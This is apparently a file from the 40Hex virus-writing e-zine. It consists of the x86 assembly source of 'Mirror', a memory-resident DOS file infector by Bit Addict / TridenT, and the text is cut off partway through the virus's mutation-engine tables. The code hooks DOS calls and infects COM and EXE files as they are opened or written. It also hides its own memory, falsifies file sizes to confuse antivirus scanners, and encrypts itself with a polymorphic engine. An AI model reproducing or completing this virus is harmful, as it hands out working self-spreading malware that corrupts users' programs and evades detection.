40Hex Number 13 Volume 4 Issue 1 File 005 8<--------------------------------------------------------------->8 ;*****************************************************************************; ; ; ; Mirror: ; ; ; ; Mirror is the reverse of Stealth techniques. This virus doesn't hide the ; ; virus, but but let the scanner think every program is infected by the ; ; virus. The virus is also made to work with every exe file that uses ; ; internal overlays, by making all running programs stealth. ; ; ; ;*****************************************************************************; code segment public 'code' assume cs:code, ds:code, es:code org 100h VirusTop equ $ VirusSize equ (VirusEnd - $) MemorySize equ (MemoryEnd - $ + VirusSize) EntryPoint: mov dx,ds call ExeMain Relocate equ ($ - VirusTop) ComExe equ byte ptr [$ - VirusTop - 2] ExeID equ (ExeMain - $) ComID equ (ComMain - $) HeaderLength equ 1ah TheHeader equ $ Header equ word ptr [$ - VirusTop] JumpOpcode equ byte ptr [$ - VirusTop] JumpDisp equ word ptr [$ - VirusTop + 01h] PartPage equ word ptr [$ - VirusTop + 02h] PageCount equ word ptr [$ - VirusTop + 04h] ReloCount equ word ptr [$ - VirusTop + 06h] HeaderSize equ word ptr [$ - VirusTop + 08h] MinMem equ word ptr [$ - VirusTop + 0ah] MaxMem equ word ptr [$ - VirusTop + 0ch] ExeSS equ word ptr [$ - VirusTop + 0eh] ExeSP equ word ptr [$ - VirusTop + 10h] Signature equ word ptr [$ - VirusTop + 12h] ExeEntry equ dword ptr [$ - VirusTop + 14h] ExeIP equ word ptr [$ - VirusTop + 14h] ExeCS equ word ptr [$ - VirusTop + 16h] RelocationOfs equ word ptr [$ - VirusTop + 18h] dw "ZM",6 dup(0),0,0ffeh,?,0,-10h,0 VirusID equ byte ptr [$ - VirusTop] db '[ Mirror: Bit Addict / TridenT ]' GotoNewCS: db 0eah dw Continue - VirusTop,? NewCodeSegment equ word ptr [$ - VirusTop - 2] ExecuteProg: mov ax,1234h SavedPSP equ word ptr [$ - VirusTop - 2] mov ds,ax mov es,ax mov ax,1234h SavedRegAX equ word ptr [$ - VirusTop - 2] mov dx,1234h InitExeSS equ word ptr [$ - VirusTop - 2] mov ss,dx mov sp,1234h InitExeSP equ word ptr [$ - VirusTop - 2] db 0eah,?,?,?,? InitExeIP equ word ptr [$ - VirusTop - 4] InitExeCS equ word ptr [$ - VirusTop - 2] Continue: mov ss,cs:InitExeSS mov sp,cs:InitExeSP sti mov ax,1234h PatchSegment equ word ptr [$ - VirusTop - 2] mov bx,1234h PatchOffset equ word ptr [$ - VirusTop - 2] mov ds,ax mov byte ptr ds:[bx-1],9ah mov word ptr ds:[bx],(Dos - VirusTop) mov word ptr ds:[bx+2],cs mov ah,3fh xor bx,bx mov cx,1 mov dx,-1 int 21h mov ah,40h inc bx int 21h mov ds,cs:SavedPSP mov ax,ds:[2ch] mov ch,-1 xor di,di mov es,ax push cs pop ds SearchComspec: or ax,ax je ExecuteProg mov cx,8 mov dx,di mov si,offset Comspec cld repe cmpsb xchg dx,di je ComspecFound xor ax,ax mov ch,0ffh repne scasb mov al,es:[di] jmp SearchComspec ComspecFound: push es pop ds mov ax,3d00h int 21h jc ExecuteProg xchg ax,bx mov ah,3fh xor cx,cx mov dx,-1 int 21h mov ah,3eh int 21h jmp ExecuteProg Comspec equ byte ptr [$ - VirusTop] db 'COMSPEC=' ComMain: pop si mov cx,HeaderLength mov di,100h mov ds:InitExeSS[si - Relocate],ss mov ds:InitExeSP[si - Relocate],sp mov ds:InitExeCS[si - Relocate],cs mov ds:InitExeIP[si - Relocate],di cld rep movsb sub si,Relocate + HeaderLength jmp short Main ExeMain: pop si sub si,Relocate mov bx,ds add bx,10h mov cx,bx push cs pop ds add bx,ds:ExeSS[si] mov ds:InitExeSS[si],bx mov bx,ds:ExeSP[si] mov ds:InitExeSP[si],bx add cx,ds:ExeCS[si] mov ds:InitExeCS[si],cx mov cx,ds:ExeIP[si] mov ds:InitExeIP[si],cx Main: mov ds:SavedPSP[si],dx mov ds:SavedRegAX[si],ax mov ah,34h int 21h dec bx mov ds:DosSDAofs[si],bx mov ds:DosSDAseg[si],es mov ah,52h int 21h mov ax,es cmp ax,ds:DosSDAseg[si] jne CannotInstall mov ax,es:[bx+4] mov ds:DosSFTofs[si],ax mov ax,es:[bx+6] mov ds:DosSFTseg[si],ax mov ax,es:[bx-2] mov ds:FirstMCB[si],ax sub ax,ds:DosSDAseg[si] mov cl,4 shl ax,cl xchg ax,cx xor di,di jmp short SearchOpcode CannotInstall: jmp ExecuteProg SearchHMA: or di,di je CannotInstall mov ax,-1 mov es,ax mov cx,-10h mov di,10h SearchOpcode: mov al,36h repne scasb jne SearchHMA cmp word ptr es:[di],16ffh jne SearchOpcode mov ax,es:[di+2] mov bx,351eh cmp ax,57ch je OpcodeFound mov bx,3b84h cmp ax,5eah jne SearchOpcode OpcodeFound: mov ds:JumpVar[si],ax mov ds:DosSFTsize[si],bh mov ds:StackPtr[si],bl mov ds:PatchOffset[si],di mov ds:PatchSegment[si],es mov al,0cbh repne scasb jne CannotInstall dec di mov ds:ReturnOpcodeOfs[si],di mov ds:ReturnOpcodeSeg[si],es mov ax,ds:FirstMCB[si] xor bx,bx dec dx SearchBlock: mov ds,ax cmp word ptr ds:[bx+1],bx jne NotFree cmp word ptr ds:[bx+3],(MemorySize + 0fh) / 10h jb NotFree mov dx,ax NotFree: inc ax add ax,ds:[bx+3] cmp byte ptr ds:[bx],"M" je SearchBlock mov ds,dx mov cx,(MemorySize + 0fh) / 10h add dx,ds:[bx+3] sub dx,cx cmp bx,ds:[bx+1] je FreeBlock sbb ds:[bx+3],cx mov al,"M" xchg al,ds:[bx] mov ds,dx mov ds:[bx],al mov ds:[bx+1],bx mov ds:[bx+3],cx FreeBlock: inc dx mov es,dx push cs pop ds std mov ax,-1 mov ds:LastPSP[si],ax mov ds:NewCodeSegment[si],dx cli mov cx,(MemoryEnd - VirusEnd) mov di,offset MemoryEnd - VirusTop - 1 rep stosb mov cx,(VirusEnd - VirusTop) add si,offset VirusEnd - VirusTop - 1 rep movsb jmp GotoNewCS ;*****************************************************************************; ; ; ; New dos entry point ; ; ; ;*****************************************************************************; dbw macro bval, wval db bval dw wval - VirusTop endm Functions equ byte ptr [$ - VirusTop] dbw 11h, FindFCB dbw 12h, FindFCB dbw 3ch, CheckFileTable dbw 3dh, Open dbw 3fh, Read dbw 40h, Write dbw 42h, Seek dbw 45h, CheckFileTable dbw 48h, ShowBlock dbw 4ah, ShowBlock dbw 4bh, ShowBlock dbw 4eh, FindFile dbw 4fh, FindFile dbw 5ah, CheckFileTable dbw 5bh, CheckFileTable dbw 6ch, ExtOpen LastFunction equ byte ptr [$ - VirusTop] dbw -1h, DoNothing Dos: pop cs:DosMainOfs pop cs:DosMainSeg push bx push ds push cs pop ds mov bx,offset Functions - 3 NextFunction: add bx,3 cmp ah,[bx] je RightFunction ja NextFunction mov bx,offset LastFunction RightFunction: push bp mov bp,sp mov bx,[bx+1] xchg bx,[bp+4] pop bp push es push ax push bx push cx push dx push si push di mov ax,ss:[1234h] JumpVar equ word ptr [$ - VirusTop - 2] mov cs:DosFunctionOfs,ax mov ax,cs:DosMainSeg mov cs:DosFunctionSeg,ax call GetPSP cmp word ptr ds:[0],20cdh jne IllegalPSP mov ax,ds cmp ax,0c000h jae IllegalPSP cmp ax,1234h LastPSP equ word ptr [$ - VirusTop - 2] jne OtherPSP IllegalPSP: jmp SamePSP OtherPSP: push cs pop ds push cs pop es mov ds:LastPSP,ax cld mov bx,-1 mov cx,8 mov di,offset StealthNames - 8 NextPSP: add di,8 scasw ja DoNotClear mov ds:[di-2],bx DoNotClear: loop NextPSP mov cl,7 mov di,offset StealthNames - 10 FindEmptyName: add di,10 cmp ds:[di],bx je EmptyName cmp ds:[di],ax loopne FindEmptyName EmptyName: stosw mov si,di dec ax cmp ds:DosSFTsize,35h mov ds,ax je DosVersion3 mov di,8 jmp BeginOfName DosVersion3: mov es,ds:[3ch] push es pop ds xor ax,ax mov ch,-1 xor di,di NotEnd: repne scasb scasb jne NotEnd inc di inc di mov bx,di repne scasb NextPathChar: mov al,ds:[di-2] dec di cmp al,"\" je BeginOfName cmp al,":" je BeginOfName cmp di,bx ja NextPathChar BeginOfName: push cs pop es mov cx,8 xchg si,di NextNameChar: lodsb cmp al,"." je BlankIt cmp al," " jbe BlankIt stosb loop NextNameChar BlankIt: mov al," " rep stosb SamePSP: call FindMCB jne Hide_4 cmp ds:[bx+1],bx je Hide_1 mov dx,ax Hide_1: push dx mov ds,ax mov ds:[bx+1],bx mov cx,-1 mov ds,dx Hide_2: mov ax,ds:[bx+3] inc ax add cx,ax add dx,ax mov al,ds:[bx] cmp al,"M" jne Hide_3 mov ds,dx cmp ds:[bx+1],bx je Hide_2 Hide_3: pop ds mov ds:[bx],al mov ds:[bx+3],cx Hide_4: pop di pop si pop dx pop cx pop bx pop ax pop es pop ds ret ;*****************************************************************************; ; ; ; Show memory block to prevent overwriting by another program ; ; ; ;*****************************************************************************; ShowBlock: push ax push bx push cx push dx push ds Show_1: call FindMCB je Show_2 mov ax,cx sub cx,dx mov dx,ds:[bx+3] sub dx,cx dec cx call SetMCB Show_2: mov ds,ax mov ds:[bx+1],cs mov cx,(MemorySize + 0fh) / 10h mov dx,ds:[bx+3] sub dx,cx jbe Show_3 call SetMCB Show_3: pop ds pop dx pop cx pop bx pop ax jmp DoNothing ;*****************************************************************************; ; ; ; Directory search ; ; ; ;*****************************************************************************; CheckExtension: xor ax,ax mov ch,-1 cld repne scasb CheckExt: mov ax,es:[di-4] or ax,2020h cmp ax,"xe" je CheckLastChar cmp ax,"oc" jne NotExecFile mov al,"m" CheckLastChar: mov ah,es:[di-2] or ah,20h cmp ah,al NotExecFile: ret FindFile: call DosCall jc FindFailed push ax call GetDTA push di add di,1eh call CheckExtension pop di jne WrongFile RightFile: mov ax,0ddh sub al,es:[di+1ah] jz WrongFile sub al,(VirusSize + 20h) and 0ffh add ax,(VirusSize + 20h) add word ptr es:[di+1ah],ax adc word ptr es:[di+1ch],0 WrongFile: pop ax FindFailed: jmp DosMain FindFCB: call DosCall cmp al,0 jne FindFailed push ax call GetDTA cmp byte ptr es:[di],-1 jne NotExtendedFCB add di,7 NotExtendedFCB: add di,0dh call CheckExt jne WrongFile sub di,0ah jmp RightFile ;*****************************************************************************; ; ; ; Seeking to the end of a mirrored file ; ; ; ;*****************************************************************************; Seek: cmp al,2 jne DoSeek call FindHandle jnz DoSeek test byte ptr cs:[si+6],80h mov si,cs:TotalSize jnz SeekStealth SeekMirror: add dx,si adc cx,0 jmp short DoSeek SeekStealth: sub dx,si sbb cx,0 DoSeek: jmp DoNothing ;*****************************************************************************; ; ; ; Routines to call the orginal dos code ; ; ; ;*****************************************************************************; StackFrame: db 36h,0c5h,36h,?,5 StackPtr equ byte ptr [$ - VirusTop - 2] ret WriteCall: push ax mov ax,cs:WriteFunction jmp short ReadWriteCall ReadCall: push ax mov ax,cs:ReadFunction ReadWriteCall: mov cs:DosFunctionOfs,ax pop ax DosCall: push cs call JumpToFunction mov ah,ds:[si+22] sahf mov ah,ds:[si+1] mov bx,ds:[si+2] mov cx,ds:[si+4] mov dx,ds:[si+6] ret DosMain: db 0eah dd ? DosMainOfs equ word ptr [$ - VirusTop - 4] DosMainSeg equ word ptr [$ - VirusTop - 2] JumpToFunction: push ax push cx push bp mov bp,sp mov ax,1234h ReturnOpcodeSeg equ word ptr [$ - VirusTop - 2] sub ax,cs:DosFunctionSeg mov cl,4 shl ax,cl add ax,1234h ReturnOpcodeOfs equ word ptr [$ - VirusTop - 2] xchg ax,ss:[bp+4] pop bp pop cx jmp short DosFunction DoNothing: push cs:DosMainOfs DosFunction: db 0eah dw ?,?,0a839h,0a89fh DosFunctionOfs equ word ptr [$ - VirusTop - 8] DosFunctionSeg equ word ptr [$ - VirusTop - 6] ReadFunction equ word ptr [$ - VirusTop - 4] WriteFunction equ word ptr [$ - VirusTop - 2] ;*****************************************************************************; ; ; ; Opening a mirrored file ; ; ; ;*****************************************************************************; ChkHandles: push ax push bx push cx push si push ds mov bx,offset FileTable mov cx,MaxFiles ChkNextHandle: cmp word ptr cs:[bx],-1 je ChkHandleOk mov ax,cs:[bx] call FindSFT cmp word ptr ds:[si],0 jne ChkHandleOk mov word ptr cs:[bx],-1 ChkHandleOk: add bx,FileTableEntry loop ChkNextHandle pop ds pop si pop cx pop bx pop ax ret CheckFileTable: call ChkHandles jmp DoNothing ExtOpen: call ChkHandles or al,al jnz DoNothing call DosCall jc DosMain cmp cl,1 jne DosMain jmp OpenOk Open: call ChkHandles call DosCall jc DosMain OpenOk: push ds:[si+22] push ax xchg ax,bx call GetSFTindex call FindSFT test byte ptr ds:[si+5],80h jnz NotExecutable push ds pop es lea di,[si+2ch] call CheckExt NotExecutable: jz Executable jmp DoNotInfect Executable: pop bx mov cx,HeaderLength mov dx,offset Header push cs pop ds push bx call ReadCall call LastSFT mov byte ptr ds:[si+15h],3ch pop bx mov cx,4 mov dx,offset NewExeOfs push cs pop ds push bx call ReadCall call LastSFT mov ax,ds:[si+11h] mov cs:FileSizeL,ax mov ax,ds:[si+13h] mov cs:FileSizeH,ax push cs pop es mov cx,8 mov di,offset StealthNames - 8 cld NextName: jcxz NotStealth mov ax,-1 dec cx add di,8 scasw je NextName push cx push si push di mov cx,8 add si,20h repe cmpsb pop di pop si pop cx jne NextName jmp short StealthMode NotStealth: cmp byte ptr ds:[si+11h],0ddh je DoNotInfect call CalcImageSize cmp ds:[si+13h],dx jb DoNotInfect ja FileSizeOk cmp ds:[si+11h],ax jb DoNotInfect FileSizeOk: call CalcImageSize mov dx,0 mov si,offset Header jc StoreFileInfo push cs pop ds cmp ds:RelocationOfs,40h jb StoreFileInfo cmp ds:NewExeOfsL,dx jne DoNotInfect cmp ds:NewExeOfsH,dx jne DoNotInfect StoreFileInfo: push si mov bx,-1 call FindHandle mov bx,si pop si jne DoNotInfect push cs pop ds mov ds:[bx],1234h LastSFTindex equ word ptr [$ - VirusTop - 2] mov ax,ds:FileSizeL mov ds:[bx+2],ax mov ax,ds:FileSizeH mov ds:[bx+4],ax mov ds:[bx+6],dl mov cx,HeaderLength lea di,[bx+7] cld rep movsb DoNotInfect: xor ax,ax call LastSFT mov ds:[si+15h],ax mov ds:[si+17h],ax call StackFrame pop ax mov ds:[si],ax pop ds:[si+22] jmp DosMain StealthMode: cmp byte ptr ds:[si+11h],0ddh jne DoNotInfect call CalcImageSize mov cx,cs:Signature sub ax,cx sbb dx,0 mov ds:[si+15h],ax mov ds:[si+17h],dx push cs pop ds sub ds:FileSizeL,cx sbb ds:FileSizeH,0 cmp dx,10h jae DoNotInfect call SplitImageSize call CalcImageSize mov cx,10h div cx sub dx,ds:ExeIP jne DoNotInfect sub ax,ds:HeaderSize sub ax,ds:ExeCS jne DoNotInfect pop bx push bx call ReadVirus jne DoNotInfect mov dl,85h lea si,ds:[di+Header-VirusID-20h] jmp StoreFileInfo GetSFTindex: push si push ds call GetPSP lea ax,[bx+1] cmp ds:[32h],ax jb InvalidHandle lds si,ds:[34h] mov al,ds:[bx+si] sub ah,ah mov cs:LastSFTindex,ax InvalidHandle: pop ds pop si ret FindSFT: mov si,1234h DosSFTseg equ word ptr [$ - VirusTop - 2] mov ds,si mov si,1234h DosSFTofs equ word ptr [$ - VirusTop - 2] NextSFT: cmp ax,ds:[si+4] jb RightSFT sub ax,ds:[si+4] lds si,ds:[si] jmp short NextSFT RightSFT: mov ah,12h DosSFTsize equ byte ptr [$ - VirusTop - 1] mul ah add si,ax add si,6 mov cs:LastSFTofs,si mov cs:LastSFTseg,ds LastSFT: mov si,1234h LastSFTseg equ word ptr [$ - VirusTop - 2] mov ds,si mov si,1234h LastSFTofs equ word ptr [$ - VirusTop - 2] ret GetDTA: call DosSDA les di,ds:[si+0ch] DosSDA: mov si,1234h DosSDAseg equ word ptr [$ - VirusTop - 2] mov ds,si mov si,1234h DosSDAofs equ word ptr [$ - VirusTop - 2] ret GetPSP: call DosSDA mov ds,ds:[si+10h] ret ;*****************************************************************************; ; ; ; Reading from and writing to a mirrored file ; ; ; ;*****************************************************************************; Read: cmp dx,-1 jne NotInfectCmd or cx,cx jne NotInfectCmd call FindHandle jnz AbortAction call InfectFile jmp short AbortAction NotInfectCmd: push ax mov ax,cs:DosFunctionOfs mov cs:ReadFunction,ax call FindHandle jnz RdOtherHandle mov ah,40h or ah,cs:[si+6] or byte ptr cs:[si+6],1 sahf RdOtherHandle: pop ax jnz OtherHandle jns _ReadMirror jmp ReadStealth Write: push ax mov ax,cs:DosFunctionOfs mov cs:WriteFunction,ax call FindHandle jnz WrOtherHandle mov ah,40h or ah,cs:[si+6] or byte ptr cs:[si+6],4 sahf WrOtherHandle: pop ax jnz OtherHandle js _WriteStealth jp RemoveHandle jc WriteMirror call InfectFile jc WriteMirror RemoveHandle: call FindHandle mov word ptr cs:[si],-1 ActionOk: jmp DoNothing OtherHandle: cmp bx,2 jae ActionOk cmp dx,-1 jne ActionOk AbortAction: jmp DosMain _WriteStealth: jmp WriteStealth _ReadMirror: jmp ReadMirror _Truncate: jmp Truncate IllegalWrite: mov ax,5 call DosSDA mov word ptr ds:[si+2],1ffh mov word ptr ds:[si+4],ax mov word ptr ds:[si+6],307h call StackFrame mov ds:[si],ax or ds:[si+22],al jmp DosMain WriteMirror: call SplitCount jcxz _Truncate call CompareHeaders jne IllegalWrite call CompareViruses jne IllegalWrite call FindHandle ReadMirror: call SplitCount push ds mov ax,1234h VirusOffset equ word ptr [$ - VirusTop - 2] call LastSFT sub word ptr ds:[si+15h],ax sbb word ptr ds:[si+17h],0 pop ds xor ax,ax sub cx,cs:VirusCount jcxz ReadZero call DosCall ReadZero: pushf push ax push cs pop ds mov ax,ds:VirusCount add ax,ds:VirusOffset call LastSFT add word ptr ds:[si+15h],ax adc word ptr ds:[si+17h],0 pop ax popf jc ReadError add ax,cs:VirusCount push ax call StackFrame xchg ax,cx mov ds:[si],cx mov bx,ds:[si+6] mov es,ds:[si+14] mov ds,ds:[si+14] call SplitCount mov di,1234h VirusCount equ word ptr [$ - VirusTop - 2] or di,di jz NewHeader call Mutate mov cx,1234h OverlayCount equ word ptr [$ - VirusTop - 2] mov si,1234h ImageCount equ word ptr [$ - VirusTop - 2] add si,bx push si push di jcxz DoNotMove dec si add si,cx add di,si std rep movsb DoNotMove: push cs pop ds pop cx pop di mov si,offset Buffer add si,ds:VirusOffset cld rep movsb NewHeader: mov cx,ds:HeaderCount jcxz ReadError call UpdateHeader mov cx,ds:HeaderCount mov si,ds:SFT_FilePosL lea di,[bx+si] add si,offset Header cld rep movsb ReadError: pop ax jmp DosMain Truncate: push ds call LastSFT mov ax,cs:VirusOffset sub ds:[si+15h],ax sbb word ptr ds:[si+17h],0 pop ds call DosCall pushf push ax push ds:[si+2] call LastSFT mov ax,cs:VirusOffset add word ptr ds:[si+15h],ax adc word ptr ds:[si+17h],0 pop bx pop ax popf jc TruncateEnd call FindHandle mov word ptr cs:[si],-1 TruncateEnd: jmp DosMain WriteStealth: call SplitCount neg cs:VirusOffset jcxz Truncate call ChangeHeader ReadStealth: call SplitCount push ds mov cx,cs:HeaderCount call LastSFT add word ptr ds:[si+15h],cx adc word ptr ds:[si+17h],0 pop ds push dx push ds add dx,cx neg cx add cx,cs:ImageCount jcxz FirstCntZero call DosCall FirstCntZero: call LastSFT add word ptr ds:[si+15h],1234 TotalSize equ word ptr [$ - VirusTop - 2] adc word ptr ds:[si+17h],0 pop ds pop dx push dx push ds xor ax,ax mov cx,1234h StealthCount equ word ptr [$ - VirusTop - 2] add dx,cs:ImageCount jcxz SecondCntZero call DosCall SecondCntZero: call LastSFT mov cx,cs:TotalSize sub word ptr ds:[si+15h],cx sbb word ptr ds:[si+17h],0 push cs pop ds pop es pop di add ax,ds:ImageCount mov cx,ds:HeaderCount jcxz EndOfRead mov si,offset Header add si,ds:SFT_FilePosL cld rep movsb EndOfRead: call StackFrame mov ds:[si],ax jmp DosMain CompareHeaders: push cx mov cx,cs:HeaderCount jcxz NoHeaderWrite push si push di push es push dx push ds call UpdateHeader pop ds pop dx push cs pop es mov cx,1234h HeaderCount equ word ptr [$ - VirusTop - 2] mov si,dx mov di,offset Header cld repe cmpsb pop es pop di pop si NoHeaderWrite: pop cx ret CompareViruses: push cx mov cx,cs:VirusCount jcxz NoVirusWrite push cx push si push dx call Mutate pop dx push di push es push cs pop es mov cx,cs:VirusCount mov si,dx add si,cs:ImageCount mov di,offset Buffer add di,cs:VirusOffset push si cld repe cmpsb mov si,di pop di jne DoNotRemove push ds pop es mov cx,cs:OverlayCount rep movsb DoNotRemove: pop es pop di pop si NoVirusWrite: pop cx ret SplitCount: push ax push bx push cx push dx push si push di push ds push cs pop ds mov ax,HeaderLength cwd mov si,ds:SFT_FilePosL mov di,ds:SFT_FilePosH call CalcCounter add cx,bx sub si,bx mov ds:HeaderCount,bx push cx call CalcImageSize pop cx xor bx,bx sub si,ax sbb di,dx jb VirusOfsOk mov bx,ds:TotalSize ja VirusOfsOk cmp si,bx ja VirusOfsOk mov bx,si VirusOfsOk: mov ds:VirusOffset,bx add si,ax adc di,dx call CalcCounter mov ds:ImageCount,bx cmp ds:HeaderCount,bx jbe HeaderCountOk mov ds:HeaderCount,bx HeaderCountOk: add ax,ds:TotalSize add dx,0 call CalcCounter mov ds:VirusCount,bx mov ds:OverlayCount,cx add cx,bx mov ds:StealthCount,cx pop ds pop di pop si pop dx pop cx pop bx pop ax ret CalcCounter: push ax push dx xor bx,bx sub ax,si sbb dx,di jb CounterOk mov bx,cx jne CounterOk cmp ax,cx jae CounterOk xchg ax,bx CounterOk: sub cx,bx add si,bx adc di,0 pop dx pop ax ret ChangeHeader: cmp cs:HeaderCount,0 je NoHeaderChange push ax push bx push cx push si push di push es push dx push ds call CalcImageSize call LastSFT mov ds:[si+15h],ax mov ds:[si+17h],dx call ReadVirus jne WriteError mov cx,ds:HeaderCount mov di,offset Buffer + Header add di,ds:DecryptorSize add di,ds:SFT_FilePosL pop ds pop si push si push ds cld rep movsb and cs:MutationFlags,07fh call Mutate call CalcImageSize call LastSFT mov ds:[si+15h],ax mov ds:[si+17h],dx push cs pop ds mov cx,ds:TotalSize mov dx,offset Buffer call DosCall WriteError: call LastSFT mov ax,cs:SFT_FilePosL mov word ptr ds:[si+15h],ax mov ax,cs:SFT_FilePosH mov word ptr ds:[si+17h],ax pop ds pop dx pop es pop di pop si pop cx pop bx pop ax NoHeaderChange: ret ReadVirus: call MutationParms push cs:DosFunctionOfs call StackFrame push ds:[si] push ds:[si+22] push cs pop ds mov cx,ds:TotalSize mov dx,offset Buffer call ReadCall pop ds:[si+22] pop ds:[si] push cs pop ds pop ds:DosFunctionOfs or ds:MutationFlags,80h call Mutate push cs pop es mov cx,20h mov si,offset VirusID mov di,offset Buffer + VirusID add di,ds:DecryptorSize cld repe cmpsb ret ;*****************************************************************************; ; ; ; Write the virus to an existing file ; ; ; ;*****************************************************************************; Fail: mov al,3 iret InfectFile: push cs:DosFunctionOfs push ax push cx push dx push si push ds xor ax,ax mov ds,ax mov ax,offset Fail - VirusTop xchg ax,ds:[90h] push ax mov ax,cs xchg ax,ds:[92h] push ax push ds push cs pop ds mov ax,ds:SFT_FileSizeL cmp al,0ddh stc je InfectError mov ds:FileSizeL,ax mov ax,ds:SFT_FileSizeH mov ds:FileSizeH,ax call CalcImageSize sub ax,ds:SFT_FileSizeL sbb dx,ds:SFT_FileSizeH jc InfectError call Mutate call LastSFT and byte ptr ds:[si+2],0feh or byte ptr ds:[si+2],2 and byte ptr ds:[si+4],3ah mov ax,ds:[si+11h] mov ds:[si+15h],ax mov ax,ds:[si+13h] mov ds:[si+17h],ax push cs pop ds mov cx,cs:TotalSize mov dx,offset Buffer call WriteCall jc InfectError call LastSFT xor ax,ax mov ds:[si+15h],ax mov ds:[si+17h],ax call UpdateHeader mov cx,HeaderLength mov dx,offset Header call WriteCall InfectError: call LastSFT mov ax,cs:SFT_OpenMode mov ds:[si+2],ax mov al,cs:SFT_Attribute mov byte ptr ds:[si+4],al mov ax,cs:SFT_DeviceInfo mov ds:[si+6],ah mov ax,cs:SFT_FilePosL mov ds:[si+17h],ax mov ax,cs:SFT_FilePosH mov ds:[si+19h],ax pop ds pop word ptr ds:[92h] pop word ptr ds:[90h] pop ds pop si pop dx pop cx pop ax pop cs:DosFunctionOfs ret ;*****************************************************************************; ; ; ; Library used by all parts of the virus ; ; ; ;*****************************************************************************; UpdateHeader: push cs pop ds call CalcImageSize mov cx,10h cmp dx,cx jae HeaderOk div cx sub ax,ds:HeaderSize mov ds:ExeCS,ax mov ds:ExeIP,dx mov dx,ds:TotalSize mov ds:Signature,dx mov cl,4 shr dx,cl inc dx add ax,dx mov ds:ExeSS,ax mov ds:ExeSP,400h call CalcImageSize add ax,ds:TotalSize adc dx,0 call SplitImageSize mov ax,(MemorySize - VirusSize + 3fh) / 10h add ax,ds:MinMem mov ds:MinMem,ax cmp ds:MaxMem,ax jae ComFileHeader mov ds:MaxMem,ax ComFileHeader: call CalcImageSize jnc HeaderOk sub ax,3 mov ds:JumpOpcode,0e9h mov ds:JumpDisp,ax HeaderOk: ret SplitImageSize: mov cx,200h and dx,0fh div cx mov ds:PartPage,dx add dx,-1 adc ax,0 mov ds:PageCount,ax ret FindHandle: push ax push cx push ds push cs pop ds mov ax,bx cmp bx,-1 je EmptyHandle call GetSFTindex jc HandleNotFound EmptyHandle: mov cx,MaxFiles mov si,offset FileTable - FileTableEntry NextHandle: add si,FileTableEntry cmp ds:[si],ax loopne NextHandle pushf jne SpeedUp cmp ax,-1 je SpeedUp push dx push si push di push es push cs pop es cld lodsw push ax lodsw mov ds:FileSizeL,ax lodsw mov ds:FileSizeH,ax inc si mov di,offset Header rep movsb pop ax call FindSFT mov cx,19h mov di,offset SFT_Entry rep movsb pop es pop di call MutationParms pop si pop dx SpeedUp: popf HandleNotFound: pop ds pop cx pop ax ret MutationParms: push cs pop ds mov ax,ds:FileSizeL mov cx,ax add cx,ds:FileSizeH mov ds:Randomize,cx mov cx,VirusSize + 20h add al,cl neg al add al,0ddh xor ah,ah add cx,ax mov ds:TotalSize,cx and al,3fh add al,20h sub cx,ax mov ds:CodeSize,cx mov ds:DecryptorSize,ax call CalcImageSize jnc ExeOffset add ax,100h mov dx,300h + ComID jmp SetOffset ExeOffset: and ax,00fh mov dx,000h + ExeID SetOffset: mov ds:DecryptorOfs,ax mov ds:ComExe,dl mov ds:MutationFlags,dh ret CalcImageSize: cmp cs:Header,"MZ" je ExeFileHeader cmp cs:Header,"ZM" je ExeFileHeader mov ax,1234h FileSizeL equ word ptr [$ - VirusTop - 2] mov dx,1234h FileSizeH equ word ptr [$ - VirusTop - 2] stc ret ExeFileHeader: mov ax,cs:PageCount mov cx,cs:PartPage jcxz ExactPage dec ax ExactPage: mov dx,200h mul dx add ax,cx clc ret SetMCB: mov ds:[bx+3],cx mov cl,"M" xchg cl,ds:[bx] mov ds,ax mov ds:[bx],cl mov ds:[bx+1],bx mov ds:[bx+3],dx ret FindMCB: mov ax,1234h FirstMCB equ word ptr [$ - VirusTop - 2] xor bx,bx mov cx,cs dec cx FindNext: mov ds,ax mov dx,ax inc ax add ax,ds:[bx+3] cmp ax,cx jb FindNext ret ;*****************************************************************************; ; ; ; Mutation engine ; ; ; ;*****************************************************************************; ; ; ; Entry: Randomize = Random Number ; ; DecryptorOfs = Decryptor offset (Not needed for decryption) ; ; CodeSize = Code size ; ; MutationFlags = bit 0: assume decryptor ds=cs (com-files) ; ; bit 1: assume decryptor ss=cs (com-files) ; ; bit 7: decrypt mutated virus (stealth) ; ; DecryptorSize = Decryptor size ; ; ; ; cs:[VirusTop] = Code (Not needed for decryption) ; ; cs:[Buffer] = Buffer (Mutated virus) ; ; ; ;*****************************************************************************; Mutate: push bx push di push ds push es push cs pop es push cs pop ds mov cx,1234h CodeSize equ word ptr [$ - VirusTop - 2] mov di,offset Buffer push cx ; save cx for later use. call InitMutate ; generate decryptor pop cx ; restore cx test ds:MutationFlags,80h ; 0=encryption, 80h=decryption jnz EncryptDecrypt xor si,si cld ; copy the code that must be rep movsb ; encrypted Param1 equ word ptr [$ - VirusTop + 1] Param2 equ word ptr [$ - VirusTop + 4] Param3 equ word ptr [$ - VirusTop + 0ah] Param4 equ word ptr [$ - VirusTop + 13h] Param5 equ word ptr [$ - VirusTop + 17h] EncryptOpcode equ byte ptr [$ - VirusTop + 10h] CompareOpcode equ byte ptr [$ - VirusTop + 15h] ConditionOpcode equ byte ptr [$ - VirusTop + 19h] AddOpcode equ byte ptr [$ - VirusTop + 0eh] EncryptDecrypt: mov bx,1234h ; 0000 BB ?? ?? mov ax,1234h ; 0003 B8 ?? ?? Repeat: mov dx,bx ; 0006 89 DA add bx,1234h ; 0008 81 C3 ?? ?? mov cx,ax ; 000C 89 C1 add ax,bx ; 000E 01 D8 add cs:[bx+1234h],bl ; 0010 2E 00 9F ?? ?? sub bx,1234h ; 0015 81 EB ?? ?? jnz Repeat ; 0019 75 EF pop es pop ds pop di pop bx MutationDone: ret JumpTable equ word ptr [$ - VirusTop] dw InitReg - VirusTop ; 3 bytes ; 1 cl&02 dw SetDestenation - VirusTop ; 0 bytes ; 2 cl&03 dw IncReg - VirusTop ; 4 bytes ; 3 cl&08 dw MoveIndex - VirusTop ; 2 bytes ; 4 cl&10 dw Memory - VirusTop ; 5 bytes ; 5 cl&20 dw Compare - VirusTop ; 6 bytes ; 6 cl&40 dw PrefetchFix - VirusTop ; 2 bytes ; 7 cl&80 TrashTable equ word ptr [$ - VirusTop] dw IncDecTrash - VirusTop ; 1 byte ; 1 dw ZeroReg - VirusTop ; 2 bytes ; 2 dw JumpTrash - VirusTop ; 2 bytes ; 3 dw InitTrash - VirusTop ; 3 bytes ; 4 dw AddSubTrash - 